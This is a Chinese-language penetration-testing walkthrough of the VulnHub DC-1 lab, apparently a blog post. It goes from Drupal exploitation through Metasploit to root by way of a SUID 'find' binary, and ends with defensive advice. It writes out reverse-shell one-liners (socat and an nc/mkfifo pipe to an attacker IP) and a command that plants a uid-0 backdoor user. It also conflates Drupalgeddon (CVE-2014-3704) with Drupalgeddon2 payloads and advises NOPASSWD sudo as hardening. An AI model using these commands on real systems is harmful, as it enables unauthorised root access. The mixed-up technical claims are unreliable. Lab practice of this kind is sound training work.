从Drupal漏洞到root权限:一次完整的Web渗透与Linux提权实战

发布时间:2026/7/22 1:18:55

从Drupal漏洞到root权限:一次完整的Web渗透与Linux提权实战 1. 项目概述一次经典的Web渗透与本地提权实战最近在复现VulnHub上的DC-1靶场这真是一个绝佳的渗透测试学习案例。它完美地串联了从Web应用漏洞利用到获取初始立足点再到最终夺取系统最高权限root的完整攻击链。整个过程就像一场精心设计的闯关游戏每一步都考验着你对不同层面安全知识的理解。标题里的“从Drupal 7.x到root权限”精准地概括了这次旅程的起点与终点。起点是一个存在已知漏洞的Drupal 7.x内容管理系统终点则是通过本地提权技巧特别是利用find命令的SUID权限拿到最终的root shell。对于想深入理解渗透测试中“横向移动”与“权限提升”核心环节的朋友来说DC-1靶场无疑是一块极好的磨刀石。我之所以花时间详细记录这个过程是因为我发现很多教程只讲“怎么做”却很少深入剖析“为什么能这么做”以及“过程中可能遇到什么坑”。比如为什么Drupal 7.x的那个漏洞能导致远程代码执行find命令的SUID位又意味着什么我们该如何发现并利用它这些细节才是真正提升内功的关键。本文将手把手带你走通这条完整路径并重点拆解其中的技术原理和实战技巧确保你不仅能复现更能理解每一步背后的逻辑。无论你是刚入门渗透测试的新手还是想巩固Web到系统层攻击链的老手相信都能从中有所收获。2. 靶场环境搭建与信息收集2.1 DC-1靶场环境准备DC-1是一个基于Debian Linux系统的虚拟机镜像从VulnHub官网下载后可以直接导入到VMware或VirtualBox中运行。靶机的网络模式建议设置为“桥接”或“NAT”确保你的攻击机通常是Kali Linux能够与它处于同一网段。启动靶机后它通常会通过DHCP自动获取一个IP地址。我们的第一个任务就是找到它。在Kali Linux上最常用的发现工具是netdiscover或nmap。假设我的Kali在192.168.1.0/24网段可以执行sudo netdiscover -r 192.168.1.0/24或者使用nmap进行ARP扫描速度更快sudo nmap -sn 192.168.1.0/24扫描结果中除了你已知的设备IP那个新出现的、主机名可能包含“DC-1”或系统信息显示为Debian的IP就是我们的目标。假设我们找到了目标IP192.168.1.105。注意在实际的渗透测试或CTF比赛中目标IP可能不会这么明显。有时需要结合多种信息收集手段如分析ARP缓存、监听网络流量或利用更高级的发现协议。2.2 全面的端口与服务探测找到IP后下一步是进行全面的端口扫描摸清靶机对外开放了哪些服务这是所有后续攻击的基础。我习惯使用nmap的sV版本探测和sC默认脚本扫描参数这能提供非常丰富的信息。nmap -sV -sC -p- 192.168.1.105 -oN dc1_scan.txt-sV: 探测服务版本。-sC: 使用默认的NSE脚本进行扫描能发现一些常见漏洞或获取额外信息如HTTP标题。-p-: 扫描所有65535个端口。-oN: 将结果输出到文件dc1_scan.txt方便后续分析。扫描结果通常会显示类似以下内容PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.0p1 Debian 4deb7u7 (protocol 2.0) 80/tcp open http Apache httpd 2.2.22 ((Debian)) 111/tcp open rpcbind 2-4 (RPC #100000) MAC Address: 08:00:27:XX:XX:XX (Oracle VirtualBox virtual NIC) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel从结果中我们获得了几个关键信息80端口运行着Apache HTTP Server 2.2.22这是一个Web服务是我们的主要入口。22端口运行着OpenSSH但版本较老可能存在已知漏洞不过通常不是第一突破口。操作系统是Debian Linux。2.3 Web应用指纹识别与目录探测既然80端口开放我们自然要从Web入手。首先用浏览器访问http://192.168.1.105或者用命令行工具curl获取首页信息。curl -I http://192.168.1.105查看HTTP响应头可能会发现一些CMS的标识。但更直接的方法是浏览网页。访问后页面很可能会显示这是由一个叫“Drupal”的内容管理系统驱动的。为了确认我们可以使用专门的工具如whatweb或wappalyzer浏览器插件。whatweb http://192.168.1.105输出会明确告诉我们这是Drupal并且很可能会显示版本号例如Drupal 7.x。这正是我们标题中提到的起点——一个存在已知漏洞的Drupal 7.x版本。在确定了CMS后我们需要进行目录枚举寻找隐藏的管理后台、配置文件、备份文件等。常用的工具有gobuster或dirb。gobuster dir -u http://192.168.1.105 -w /usr/share/wordlists/dirb/common.txt -x php,txt,htmldir: 指定进行目录爆破模式。-u: 指定目标URL。-w: 指定字典文件这里使用dirb的通用字典。-x: 指定要尝试的文件扩展名。这个步骤可能会发现诸如/admin、/user、/robots.txt、/CHANGELOG.txt等路径。其中/CHANGELOG.txt对于Drupal来说尤其重要因为它通常会明确写明Drupal的详细版本号例如“Drupal 7.24”。精确的版本号对于后续搜索和利用漏洞至关重要。3. Drupal 7.x漏洞利用与初始访问3.1 Drupalgeddon漏洞原理浅析信息收集阶段我们确认了目标运行着Drupal 7.x。对于Drupal 7有一个闻名遐迩的严重漏洞DrupalgeddonCVE-2014-3704。这个漏洞存在于Drupal 7.0到7.31版本中是由于对SQL语句中prepared statements预处理语句的placeholders占位符处理不当导致的。攻击者可以通过向/?quser/password路径发送特制的HTTP POST请求在name[#post_render][]等参数中注入恶意数组最终触发数据库查询的构造异常实现SQL注入。简单来说这个漏洞允许攻击者在未认证的情况下向Drupal数据库注入恶意SQL代码。而更危险的是在Drupal中可以通过SQL注入调用PHP的passthru()等函数从而实现远程代码执行。这正是我们获取Webshell的突破口。实操心得理解漏洞原理比单纯使用工具更重要。知道这是SQL注入导致的RCE就能明白为什么我们的攻击载荷Payload是那样构造的也便于在工具失效时进行手动调试。3.2 使用Metasploit快速获取Shell对于这类有公开利用代码的著名漏洞使用Metasploit框架是最快捷的方式。Metasploit内置了针对Drupalgeddon的利用模块。启动Metasploitmsfconsole搜索并选择利用模块search drupalgeddon通常会看到exploit/unix/webapp/drupal_drupalgeddon2这个模块。使用它use exploit/unix/webapp/drupal_drupalgeddon2配置模块参数set RHOSTS 192.168.1.105 set RPORT 80RHOSTS设置目标IPRPORT设置目标端口HTTP默认80。选择Payload并设置 Payload是漏洞利用成功后我们想在目标机器上执行的代码。为了获得一个反向Shell让目标机主动连接我们我们选择php/meterpreter/reverse_tcp。set PAYLOAD php/meterpreter/reverse_tcp set LHOST 192.168.1.104 # 这里填写你的Kali攻击机的IP set LPORT 4444 # 设置一个本地监听端口执行攻击exploit如果一切顺利你会看到Metasploit成功发送了攻击载荷并建立了一个meterpreter会话。你进入了交互式的meterpreter命令行这意味着你已经成功在Web服务器Apache的权限下在目标系统上执行了代码获得了初始立足点。3.3 手动利用与Shell稳定性处理虽然Metasploit很方便但手动利用能让你更深入地理解漏洞。你可以搜索公开的Python利用脚本如drupalgeddon2.py。手动利用的核心是构造一个特殊的HTTP POST请求其中包含能执行命令的PHP代码。例如一个简单的利用思路是通过漏洞写入一个包含PHP代码的Webshell文件到服务器可访问的目录如/var/www/下的某个位置。然后直接访问这个Webshell文件来执行命令。但是通过Web漏洞获得的Shell通常不稳定称为“哑Shell”或“受限Shell”表现在无法进行交互式操作如使用su、sudo、vi。没有完整的终端TTY导致CtrlC等快捷键失效无法使用上下键调取历史命令。会话容易中断。因此获取初始Shell后的首要任务就是将其升级为一个完全交互式的、稳定的TTY Shell。常用方法有使用Python如果目标系统安装了Pythonpython -c import pty; pty.spawn(/bin/bash)使用/usr/bin/script/usr/bin/script -qc /bin/bash /dev/null使用Socat或Netcat在攻击机上监听一个新端口然后在目标Shell中用socat或nc反向连接并分配一个TTY。这种方法最稳定。攻击机监听nc -lvnp 4445目标机执行socat TCP:192.168.1.104:4445 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane或rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 21|nc 192.168.1.104 4445 /tmp/f经过这一步你应该拥有了一个相对稳定、可以自由执行命令的Bash Shell并且当前的用户权限很可能是www-dataApache服务的默认运行用户。这是我们进行下一步本地提权的起点。4. 本地信息枚举与提权向量挖掘4.1 系统内部信息深度收集拿到一个稳定的Shell后不要急于盲目尝试提权。先进行彻底的内部信息收集这就像侦探勘察现场线索往往就藏在细节里。我们需要了解当前用户权限、系统配置、运行的服务、计划任务、是否有其他用户等。以下是一些关键命令当前用户和权限id whoami sudo -l # 非常重要查看当前用户能以sudo方式执行哪些命令sudo -l可能直接给出提权捷径。如果返回(ALL : ALL) ALL那恭喜你可以直接sudo su成为root。但在DC-1中通常没这么简单。系统信息uname -a # 内核版本 cat /etc/issue # 或 /etc/os-release 系统发行版信息 cat /etc/passwd # 查看所有用户 cat /etc/shadow 2/dev/null # 查看密码哈希通常需要root权限 dpkg -l # 或 rpm -qa 查看已安装软件包寻找有漏洞的版本 history # 查看当前用户的历史命令可能有密码等信息网络和进程信息netstat -tulpn # 或 ss -tulpn 查看网络连接和监听端口 ps aux # 查看所有进程寻找以root身份运行的非系统关键进程敏感文件与配置find / -perm -4000 -type f 2/dev/null # 查找SUID文件这是重点 find / -perm -2000 -type f 2/dev/null # 查找SGID文件 find / -writable -type d 2/dev/null # 查找当前用户可写的目录 find / -name *.php -type f 2/dev/null | head -20 # 查找可能的配置文件 cat /var/www/html/sites/default/settings.php 2/dev/null # Drupal数据库配置文件可能含密码4.2 SUID/SGID权限机制详解与查找在Linux中SUIDSet User ID和SGIDSet Group ID是一种特殊的文件权限位。当为一个可执行文件设置了SUID位后任何用户在执行这个文件时都会以文件所有者的权限来运行而不是执行者的权限。SGID同理是以文件所属组的权限运行。例如/usr/bin/passwd命令就设置了SUID位它的所有者是root。所以当普通用户执行passwd修改自己的密码时实际上是以root权限在修改/etc/shadow文件否则普通用户无权修改。这带来了巨大的安全风险如果一个本应以普通权限运行的程序被设置了SUID root并且这个程序存在漏洞或者能被用户以某种方式操控那么攻击者就可能利用它来提升权限。查找SUID文件的命令就是上面提到的find / -perm -4000 -type f 2/dev/null在DC-1靶场中这条命令的结果列表里一个熟悉的命令会格外引人注目find。正常情况下find命令不应该被设置SUID位因为它功能强大能遍历文件系统、执行命令。一旦它被错误地配置为SUID root就为我们打开了一扇提权的大门。注意事项在真实的渗透测试或CTF中find、vim、nmap旧版本、more/less、awk等命令如果被发现有SUID位都需要重点检查因为它们往往存在已知的提权方法GTFOBins项目收录了大量此类技巧。5. 利用SUID find命令进行权限提升5.1 find命令的-exec参数与提权原理find命令有一个强大的参数-exec。它允许对find找到的每一个文件执行指定的命令。语法是find [路径] [表达式] -exec 命令 {} \;这里的{}会被替换为找到的文件名\;表示命令结束。关键点在于-exec后面跟的命令会以find命令本身的权限来执行。如果find命令本身因为SUID位而以root权限运行那么通过-exec执行的任何命令也都将拥有root权限因此我们的攻击思路非常清晰我们以www-data用户身份执行一个设置了SUID root的find命令。在这个find命令中我们使用-exec参数来执行我们想要的命令例如/bin/bash。由于find以root权限运行它通过-exec启动的/bin/bash也会是root权限的shell。5.2 分步提权操作实录在DC-1靶场上操作过程如下确认find的SUID权限ls -la /usr/bin/find输出中权限部分应该包含一个s如-rwsr-xr-x其中owner的执行位是s而非x这证实了SUID位已设置并且所有者是root。通过find的-exec参数启动root shell 有多种方式可以实现最直接的一种是/usr/bin/find . -exec /bin/bash -p \; -quit.在当前目录开始查找可以是任何存在的目录。-exec /bin/bash -p \;对找到的每个文件实际上我们并不关心找到什么执行/bin/bash -p。-p参数对于SUID shell很重要它告诉bash维持提升后的权限。-quit找到第一个结果后就退出这样我们只会得到一个bash实例。执行上述命令后命令行提示符可能不会立即变化。此时需要验证权限whoami # 输出应为root id # 输出应显示uid0(root) gid0(root) groups0(root), ...恭喜你已经成功提权到root另一种常见的利用方式/usr/bin/find / -name test -exec /bin/bash -p \;这个命令会在根目录/下寻找名为test的文件通常不存在对每个“找到”的结果实际上因为没找到但-exec依然会至少尝试执行一次这里有个误区需要澄清执行bash。更可靠的写法是确保find有输出touch /tmp/trigger /usr/bin/find /tmp/trigger -exec /bin/bash -p \;先创建一个文件然后find这个文件并对其执行bash。5.3 提权后的收尾与验证获得root shell后为了确保环境的完全稳定和交互性最好再次升级一下shell因为通过-exec启动的bash可能仍不是完全交互式的python -c import pty; pty.spawn(/bin/bash) export TERMxterm CtrlZ # 在攻击机终端按CtrlZ挂起当前会话 stty raw -echo; fg # 在攻击机终端输入然后回车现在你拥有了一个功能完整的root终端。接下来可以完成渗透测试的最终目标读取flag文件在CTF靶场中flag通常放在/root目录或/home下的用户目录中。cat /root/flag.txt cat /root/proof.txt查看shadow文件cat /etc/shadow添加后门用户仅在学习环境中echo backdoor:$(openssl passwd -1 -salt abc 123456):0:0::/root:/bin/bash /etc/passwd这行命令添加了一个用户名为backdoor密码为123456且uid/gid都为0root的用户。6. 其他潜在提权路径分析与防御思考6.1 DC-1靶场中可能存在的其他提权点一个设计良好的靶场不会只有一条路。除了SUIDfind在信息收集阶段可能还会发现其他提权线索内核漏洞使用uname -a查看内核版本然后搜索该版本是否存在公开的本地提权漏洞如Dirty Cow, CVE-2016-5195。可以使用searchsploit或在线数据库查询。searchsploit linux kernel 3.2sudo权限滥用如果sudo -l显示当前用户www-data可以以root身份无需密码运行某些命令如vi,nmap,apache2等就可以利用这些命令启动root shell。例如如果可以sudo vi则可以在vi中执行:!bash来获得root shell。计划任务Cron Jobs检查/etc/crontab和/var/spool/cron/crontabs/看是否有以root身份定期运行的任务并且该任务调用的脚本或二进制文件当前用户有写入权限。如果有可以替换该文件内容为恶意命令等待cron执行。PATH环境变量劫持如果发现有SUID程序调用了系统命令如ls,cat但没有使用绝对路径并且该程序所在的目录我们的用户有写入权限或者我们可以控制PATH环境变量就可以通过伪造同名命令来提权。数据库凭据利用之前提到的Drupal配置文件settings.php中可能包含MySQL数据库的用户名和密码。如果数据库用户权限足够高如root可能通过MySQL的USER DEFINED FUNCTION (UDF)等方式执行系统命令但这在DC-1中不是主要路径。6.2 从攻击者视角看防御措施通过复现这次攻击我们可以从防御角度获得很多启示及时更新与补丁管理这是最根本的。Drupal 7.x的漏洞早在2014年就已修复。确保所有公开服务如Web CMS、SSH服务都运行最新稳定版本并及时打上安全补丁。最小权限原则服务账户隔离Web服务器如www-data应仅拥有运行所需的最小权限绝不能赋予其shell访问权限或不必要的文件写权限。审查SUID/SGID文件定期使用find / -perm -4000 -type f和find / -perm -2000 -type f审查系统移除非必要二进制文件的SUID/SGID位。像find这样的系统管理工具绝对不应该设置SUID。谨慎配置sudo使用sudo时遵循最小授权原则仅授予特定用户运行特定命令的权限并尽可能使用NOPASSWD。输入验证与安全编码对于Web应用所有用户输入都必须视为不可信的进行严格的过滤、验证和转义防止SQL注入、命令注入等漏洞。网络加固防火墙只开放必要的端口如80, 443关闭22端口或将其改为非标准端口并限制访问源IP。入侵检测部署WAFWeb应用防火墙防御常见的Web攻击使用IDS/IPS监控异常网络流量和系统调用。安全审计与监控定期进行安全扫描和渗透测试检查系统配置和日志如/var/log/auth.log, Apache日志及时发现异常登录、提权尝试等行为。7. 常见问题与排查技巧实录在复现DC-1或其他类似靶场时你可能会遇到以下问题问题现象可能原因排查与解决思路nmap扫描不到靶机IP靶机和攻击机不在同一网络检查虚拟机网络设置桥接/NAT确认网段。在Kali上使用ip a或ifconfig查看自身IP确保与靶机IP在同一子网。Metasploit的exploit执行后失败返回Exploit aborted due to failure: unknown目标Drupal版本已打补丁或路径不对1. 再次确认Drupal精确版本查看/CHANGELOG.txt。2. 尝试手动访问/user/password等路径看Drupal响应是否正常。3. 尝试使用其他公开的Drupal 7.x RCE漏洞如CVE-2018-7600。获得meterpreter会话后立即断开网络不稳定或Payload被防病毒/防火墙拦截1. 尝试使用reverse_http或reverse_https等更隐蔽的Payload。2. 使用msfvenom生成编码后的Payload手动利用。3. 检查攻击机防火墙是否允许入站连接。通过漏洞上传了Webshell但无法访问文件上传路径不对或没有执行权限1. 尝试上传到Web根目录如/var/www/html。2. 使用find / -name *.php -type f寻找已存在的Webshell或可写目录。3. 使用ls -la检查文件权限确保Apache用户www-data有读权限。find . -exec /bin/bash -p \;执行后没有返回root shell-p参数可能在某些bash版本中行为不同或shell环境问题1. 尝试不加-pfind . -exec /bin/bash \;。2. 尝试使用/bin/shfind . -exec /bin/sh \;。3. 确保执行的find是那个SUID版本的用绝对路径/usr/bin/find。提权成功后cat /root/flag.txt提示无此文件Flag文件可能不在/root下或名称不同1. 使用find / -name *flag* -o -name *proof* 2/dev/null全盘搜索。2. 检查/home目录下各用户的家目录。3. 查看靶场描述文档确认flag位置。手动利用脚本执行失败脚本依赖的库不存在或Python版本不兼容1. 在Kali上运行python --version确认是Python2还是3脚本可能需要指定python2或python3。2. 使用pip install requests等命令安装缺失的Python库。3. 仔细阅读脚本的错误信息调整参数。独家避坑技巧信息收集要彻底不要只扫描常见端口1-1000-p-全端口扫描有时能发现隐藏服务如管理后台跑在8080端口。善用-v参数在使用curl、nc等工具手动测试时加上-vverbose参数可以看到完整的HTTP请求和响应头对于调试漏洞利用非常有帮助。Shell升级是必修课拿到非交互式Shell后第一时间尝试用python pty或socat升级。一个稳定的Shell能极大提升后续操作的效率。多看日志在攻击过程中可以另开一个终端在靶机上如果有权限tail -f /var/log/apache2/access.log或error.log实时观察你的攻击请求是否被正确接收和处理。理解原理灵活变通当工具失效时对漏洞原理的理解能帮你手动构造Payload。例如知道Drupalgeddon是SQL注入就可以尝试手动拼接SQL语句来调用系统命令。整个从Drupal漏洞利用到find提权的过程本质上是一场关于信息不对称和权限边界的博弈。攻击者不断寻找系统配置的疏忽、软件版本的滞后和权限管理的漏洞。而防御者则需要时刻保持警惕贯彻最小权限、纵深防御的原则。通过这样的实战复现我们能更深刻地体会到每一个配置项、每一次更新的重要性。

相关新闻